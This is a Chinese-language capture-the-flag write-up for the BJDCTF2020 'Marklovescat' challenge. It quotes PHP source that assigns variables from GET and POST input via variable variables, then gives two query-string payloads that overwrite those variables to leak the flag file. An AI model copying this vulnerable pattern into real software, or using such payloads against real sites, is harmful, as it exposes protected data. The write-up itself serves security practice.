[BJDCTF2020]Marklovescat

首先打开题目

 首先每个能点的按钮点一下，发现都是回到最顶上。

于是我开始查看源代码。

把源代码拖到最底下发现有一个不起眼的dog

 

 

 然后尝试抓包。

 

 

 实在没办法了，然后从github上面把源代码下载下来了

这是flag.php里面的

<?php$flag = file_get_contents('/flag');

?>

 

这是index.php里面的（去除掉原本能看到的）

<?phpinclude 'flag.php';$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){    $$x = $y;}foreach($_GET as $x => $y){    $$x = $$y;}foreach($_GET as $x => $y){    if($_GET['flag'] === $x && $x !== 'flag'){        exit($handsome);    }}if(!isset($_GET['flag']) && !isset($_POST['flag'])){    exit($yds);}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){    exit($is);}echo "the flag is: ".$flag;

联想最开始的dog

所以这个代码应该是从exit($yds)出来了

于是我直接get传参

　　?yds=flag

就可以得到答案了。

又或者我们get传参

　　?is=flag&flag=flag

也可以得到答案，答案就在源代码里面。